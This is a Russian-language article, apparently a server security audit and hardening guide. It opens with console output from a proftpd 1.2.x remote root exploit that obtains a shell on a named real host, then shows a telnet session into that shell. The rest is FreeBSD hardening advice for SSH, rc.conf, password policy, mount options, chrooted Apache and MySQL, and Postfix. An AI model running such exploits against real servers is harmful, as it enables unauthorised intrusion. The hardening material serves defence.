@---------------------------------------------------------@ # proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-1.20 # @ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @ ----------------------------------------------------------- [+] Ret address:0xbffff25c [+] Trying 220volt.info:21....ok [+] Get banner:ok <== 220 ProFTPD 1.2.9 Server (ProFTPD Default Installation) [lauryn.e-neverland.net] [+] User demoacc logged in [+] PORT 66,79,183,51,135,8 [+] STOR file 151991519915199.txt [+] Listening on 34568 ....ok [+] Accepted a client from 195.38.48.55 [+] Trying 220volt.info:21....ok [+] Get banner:ok <== 220 ProFTPD 1.2.9 Server (ProFTPD Default Installation) [lauryn.e-neverland.net] [+] User demoacc logged in [+] PORT 66,79,183,51,135,8 [+] RETR file 151991519915199.txt [+] Listening on 34568 ....ok [+] Accepted a client from 195.38.49.55 [+] The First time read:ok [+] PORT 66,79,183,51,135,9 [+] RETR file 151991519915199.txt [+] Listening on 34569 ....ok [+] Accepted a client from 195.38.48.55 [+] Is it a shell on 195.38.48.55:43543Как мы видим, эксплоит работает,
telnet 195.38.48.55 43543 [Shell] CONNECT 220volt.info >
ftp>uname –a FreeBSD usb.pssr.ru 4.8-RELESE FreeBSD: Mon Oct 15 2002 root@freebsd-stable.sentex.ca:/usr/obj/usr/src/sys/GENEIC i386Проверяем файлы конфигурации, к которым есть доступ.
Рекомендации по настройке системы и её защитных механизмов для построения безопасносго сервера
Далее будут даны рекомендации для начальной конфигурации сервера для обеспечения безопасности./security/chrootkit /sysutils/rdate /sysutils/portupgrade /net/cvsup-without-gui
pw groupadd sshusers pw useraddДальше в зависимости от того, какие сервисы планируется установить на сервере:-g sshusers –s /usr/local/bin/bash
pw groupadd apache pw useradd apache -d /dev/null -g apache -s /sbin/nologin или pw groupadd mysql pw useradd mysql-c " mysql Сервер "-d/dev/null-g mysql-s/sbin/nologin
cp /etc/motd /etc/motd.old rm /etc/motd vi /etc/motdВ содержании этого файла вам необходимо написать предупреждение о том, что доступ к данному серверу имеют только зарегистрированные пользователи и только для выполнения задач, которые разрешены на этом сервере. Также необходимо указать, что, регистрируясь на данном сервере, пользователь соглашается с системной политикой этого сервера, что очень важно в случае возникновения судебных разбирательств с пользователями.
cp /etc/motd /etc/issue # мы будем использовать motd для показа # при удаленной регистрации. # см. также /etc/ssh/sshd_config
vi /etc/ssh/sshd_config Port 22 Protocol 2 #Hostkey /etc/ssh/ssh_host_key PermitRootLogin no MaxStartups 5:50:10 # после 5 неправильных регистраций, # отторгать 50% новых подключений, и # не отвечать совсем, если число # неправильных регистраций превысило 10 X11Forwarding no PrintLastLog yes SyslogFacility auth # писать информацию о регистрациях в # лог-файл to /var/log/auth. LogLevel VERBOSE # обычно OpenSSH - это единственный путь # удаленного доступа к системе, мы # хотим получать наиболее полную # информацию от этого сервиса. PasswordAuthentication no PermitEmptyPasswords no Banner /etc/issue AllowGroups sshusers # группа, которой разрешена # регистрация через SSH; можно указать # несколько групп через запятую.Теперь откроем и отредактируем файл /etc/ssh/ssh_config
vi /etc/ssh/ssh_config ForwardAgent no ForwardX11 no PasswordAuthentication no CheckHostIP yes Port 22 Protocol 2Теперь, давайте сгенерируем DSA ключи для авторизации с пользователем, AKA
su - noprivuser ssh-keygen -d На экране появится строка: Generating public/private dsa key pair. Enter file in which to save the key #введите файл, в который сохранить ключ (/home//.ssh/id_dsa): # значение по умолчанию Enter pass phrase (empty for no pass phrase): # введите пароль для ключа или без пароля Enter pass phrase (empty for no pass phrase): # подтверждение пароля Your identification has been saved in /home//.ssh/id_dsa. #Идентификационный ключ сохранен в .... Your public key has been saved in /home//.ssh/id_dsa.pub #Публичный ключ сохранен в ... The key fingerprint is (отпечаток ключа): xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xxТеперь необходимо скопировать ключ на дискету и перенести на компьютер, с которого вы хотите подключаться к серверу.@ cd .ssh cat id_dsa.pub > authorized_keys2
vi /etc/rc.conf inetd_enable="YES" syslogd_enable="YES" # Если вы планируете настроить # удаленную регистрацию событий, тогда пропустите следующую строку. # Если файлы регистрации событий будут расположены на локальном диске, # убедитесь что у вас смонтирован раздел /var. syslogd_flags="-ss" # Этим мы закроем 514 udp порт если мы не хотим использовать удаленную # регистрацию событий на или с этого сервера. Естественно не нужно добавлять # эту строчку, если вы планируете настроить удаленную регистрацию событий. icmp_drop_redirect="YES" # Отключаем прием и отправку переадресовующих ICMP пакетов. icmp_log_redirect="YES" # Регистрировать переадресовующие ICMP пакеты в журнальном файле clear_tmp_enable="YES" # Очищать директорию /tmp при загрузке. portmap_enable="NO" # Если не используется NFS icmp_bmcastecho="NO" # Предотвращает springboarding и smurf атаки, запрещая серверу отвечать # на широковещательные ping-пакеты. fsck_y_enable="YES" # При ошибках файловой системы на этапе загрузки утилита fsck будет # запущена с флагом -y (man fsck) update_motd="NO" #Не обновлять файл с сообщением дня /etc/motd tcp_drop_synfin="YES" # Отбрасывать synfin пакеты. Смотри ниже, необходимые изменения в ядре. log_in_vain="YES" # Установите эту опцию, если вы хотите записывать все попытки подключения # к закрытым портам вашего сервера. sshd_enable="YES" # Это позволит сделать удаленный доступ к серверу более защищенным.
vi /etc/login.conf Делаем исправления в секции default:\ :passwd_format=blf:\ # заменяем алгоритм криптования паролей на # Blowfish вместо идущего по умолчанию md5. :passwordtime=52d:\ # период устаревания паролей 52 дня. :mixpasswordcase=true:\ # предупреждать пользователей о том что пароли должны содержать # разные символы (mixed-case passwords) :minpasswordlen=9:\ # минимальная длина пароля 9 символов :idletime=32:\ # автоматически отключать пользователей после # 32-х минут бездействияТеперь делаем базу.
#Device Mountpoint FStype Options Dump Pass# /dev/ad0s1b none swap sw 0 0 /dev/ad0s1a / ufs rw 1 1 /dev/ad0s1f /tmp ufs rw,noexec 2 2 /dev/ad0s1g /usr ufs rw 2 2 /dev/ad0s1h /usr/home ufs rw,nosuid,noexec 2 2 /dev/ad0s1i /var ufs rw,noexec 2 2 /dev/fd0 /floppy MSDOS rw,noauto,noexec,nosuid,nodev,noatime 0 0 /dev/acd0c /cdrom cd9660 ro,noauto 0 0 proc /proc procfs rw 0 0
chmod 0600 /etc/crontab # только пользователь root должен иметь доступ к файлу настройки cron touch /var/cron/deny # добавьте в этот файл всех пользователей, которым запрещено использовать cron chmod 0600 /var/cron/deny Теперь добавим несколько задач, которые должны выполнятся регулярно. vi /etc/crontab 0 2 * * * root /usr/libexec/locate.updatedb # обновлять базу данных утилиты locate каждое утро в 2 часа. 0 2 * * * root/usr/local/sbin/rdate yourNTPserver # запускать rdate каждое утро в 2 часа. 1 3 * * * root/usr/local/sbin/chkrootkit # запускать chkrootkit каждый месяц.
#pseudo-device bpf #Berkley Packet Filter. Защита от снифинга на уровне ядра. #Не убирайте эту опцию, если собираетесь использовать dhcp. options SC_NO_HISTORY # отменяем историю команд на виртуальных терминалах options SC_DISABLE_REBOOT # отменяем перезагрузку по комбинации клавиш ctl-alt-del options SC_DISABLE_DDBKEY # отменяем debug key options TCP_DROP_SYNFIN # смотри выше в разделе rc.conf. options RANDOM_IP_ID # случайный идентификатор IP пакетов препятствует # idlescan-style сканирования. Мешает взломщику # определить разряд(rate) генерации пакетов. options ICMP_BANDLIM # Если вы решите разрешить пакеты icmp к вашему серверу, этот # параметр, ограничит количество ответов, что помогает при # защите от DOS атак.
chmod 0700 /root chmod 0600 /etc/syslog.conf chmod 0600 /etc/rc.conf chmod 0600 /etc/newsyslog.conf chmod 0600 /etc/hosts.allow chmod 0600 /etc/login.conf chmod 0700 /usr/home/*Таким образом мы ограничиваем права на критические ресурсы.
ttyv0 "/usr/libexec/getty Pc" cons25 on insecure # Virtual terminals ttyv1 "/usr/libexec/getty Pc" cons25 on insecure ttyv2 "/usr/libexec/getty Pc" cons25 on insecure ttyv3 "/usr/libexec/getty Pc" cons25 on insecure ttyv4 "/usr/libexec/getty Pc" cons25 on insecure ttyv5 "/usr/libexec/getty Pc" cons25 on insecure ttyv6 "/usr/libexec/getty Pc" cons25 on insecure ttyv7 "/usr/libexec/getty Pc" cons25 on insecure
~# su ~# ./configure --prefix=/usr/local/apache --server-uid=apache --server-gid=apache \ --disable-module=all --enable-module=access --enable-module=dir \ --enable-module=mime --enable-module=auth \ --enable-module=log_config ~# make ~# make install ~# chown -R root:sys /usr/local/apacheApache установлен в каталог /usr/local/apache со следующими модулями:
~# mkdir -p /chroot/httpd/etc ~# mkdir -p /chroot/httpd/dev ~# mkdir -p /chroot/httpd/www ~# mkdir -p /chroot/httpd/var/run ~# mkdir -p /chroot/httpd/usr/lib ~# mkdir -p /chroot/httpd/usr/libexec ~# mkdir -p /chroot/httpd/usr/local/apache/bin ~# mkdir -p /chroot/httpd/usr/local/apache/logs ~# mkdir -p /chroot/httpd/usr/local/apache/conf ~# chown -R root:sys /chrootДомашним каталогом сервера будет устройство /dev/null, поэтому создадим его:
~# mknod /chroot/httpd/dev/null c 2 2 ~# chown root:sys /chroot/httpd/dev/null ~# chmod 666 /chroot/httpd/dev/nullДля правильной работы сервера необходимо создать сокет для syslogd (/chroot/httpd/dev/log).
~# touch /chroot/httpd/etc/pass ~# echo "nobody:*:65534:65534::0:0:none:/nonexistent:/sbin/nologin" >> /chroot/httpd/etc/pass ~# echo "www:*:80:80::0:0:www:/nonexistent:/sbin/nologin" >> /chroot/httpd/etc/pass ~# pwd_mkdb -d /chroot/httpd/etc pass ~# rm /chroot/httpd/etc/master.passwdВсе готово для запуска:
~# /usr/sbin/chroot /chroot/httpd /usr/local/apache/bin/httpd
mkdir -p /chroot/mysql/dev mkdir -p /chroot/mysql/etc mkdir -p /chroot/mysql/tmp mkdir -p /chroot/mysql/var/tmp mkdir -p /chroot/mysql/usr/local/mysql/libexec mkdir -p /chroot/mysql/usr/local/mysql/share/mysql/english
chown -R root:sys /chroot/mysql chmod -R 755 /chroot/mysql chmod 1777 /chroot/mysql/tmp
cp/usr/local/mysql/libexec/mysqld/chroot/mysql/usr/local/mysql/libexec/ cp/usr/local/mysql/share/mysql/english/er rmsg.sys/chroot/mysql/usr/local/mysql/share/mys ql/english/ cp/etc/hosts/chroot/mysql/etc/ cp/etc/host.conf/chroot/mysql/etc/ cp/etc/resolv.conf/chroot/mysql/etc/ cp/etc/group/chroot/mysql/etc/ cp/etc/master.passwd/chroot/mysql/etc/passwords cp/etc/my.cnf/chroot/mysql/etc/
cd /chroot/mysql/etc pwd_mkdb -d /chroot/mysql/etc passwords rm -rf /chroot/mysql/etc/master.passwd
ls -al /dev/null crw-rw-rw- 1 root sys 2, 2 Jun 21 18:31 /dev/null mknod /chroot/mysql/dev/null c 2 2 chown root:sys /chroot/mysql/dev/null chmod 666 /chroot/mysql/dev/nullТеперь необходимо скопировать базу данных mysql, которая содержит таблицы, созданные в процессе инсталляции mysql:
cp-R/usr/local/mysql/var//chroot/mysql/usr/local/mysql/var chown-R mysql:mysql/chroot/mysql/usr/local/mysql/var
#!/bin/sh CHROOT_MYSQL=/chroot/mysql CHROOT_PHP=/chroot/httpd SOCKET=/tmp/mysql.sock MYSQLD=/usr/local/mysql/libexec/mysqld PIDFILE=/usr/local/mysql/var/`hostname`.pid CHROOTUID=/usr/local/sbin/chrootuid echo -n " mysql" case "$1" in start) rm -rf ${CHROOT_PHP}/${SOCKET} nohup ${CHROOTUID} ${CHROOT_MYSQL} mysql ${MYSQLD} >/dev/null 2>&1 & sleep 5 && ln ${CHROOT_MYSQL}/${SOCKET} ${CHROOT_PHP}/${SOCKET} ;; stop) kill `cat ${CHROOT_MYSQL}/${PIDFILE}` rm -rf ${CHROOT_MYSQL}/${SOCKET} ;; *) echo "" echo "Usage: `basename $0` {start|stop}" >&2 exit 64 ;; esac exit 0В нашей системе FreeBSD, вышеупомянутый сценарий должен быть помещен в каталог /usr/local/etc/rc.d, под именем mysql.sh.
local_recipient_maps = $alias_maps proxy:unix:passwd.byname relay_domains = $mydestination, proxy:hash:/usr/local/etc/postfix/relay_domains smtpd_sender_restrictions = check_sender_access proxy:hash:/usr/local/etc/postfix/ access, reject_non_fqdn_sender, reject_unknown_sender_domain smtpd_client_restrictions = check_client_access proxy:hash:/usr/local/etc/postfix/access_clients, check_recipient_access proxy:hash:/usr/local/etc/postfix/spam_allowed, check_client_access proxy:hash:/usr/local/etc/postfix/antispam/blocklist/block_list, check_client_access proxy:hash:/usr/local/etc/postfix/antispam/blocklist/block_list_arc, check_client_access regexp:/usr/local/etc/postfix/dsl_stoplist.txt, reject_rbl_client rbl.test.ru smtpd_recipient_restrictions = check_recipient_access proxy:hash:/usr/local/etc/postfix/fullboxes, reject_non_fqdn_recipient, permit_mynetworks, reject_unknown_recipient_domain, reject_unauth_destination transport_maps = proxy:hash:/usr/local/etc/postfix/transport proxy_read_maps = $smtpd_helo_restrictions $smtpd_recipient_restrictions $smtpd_sender_restrictions \ $smtpd_client_restrictions $local_recipient_maps $mydestination $virtual_alias_maps \ $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps \ $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps \ $relocated_maps $transport_maps $mynetworks
Заключение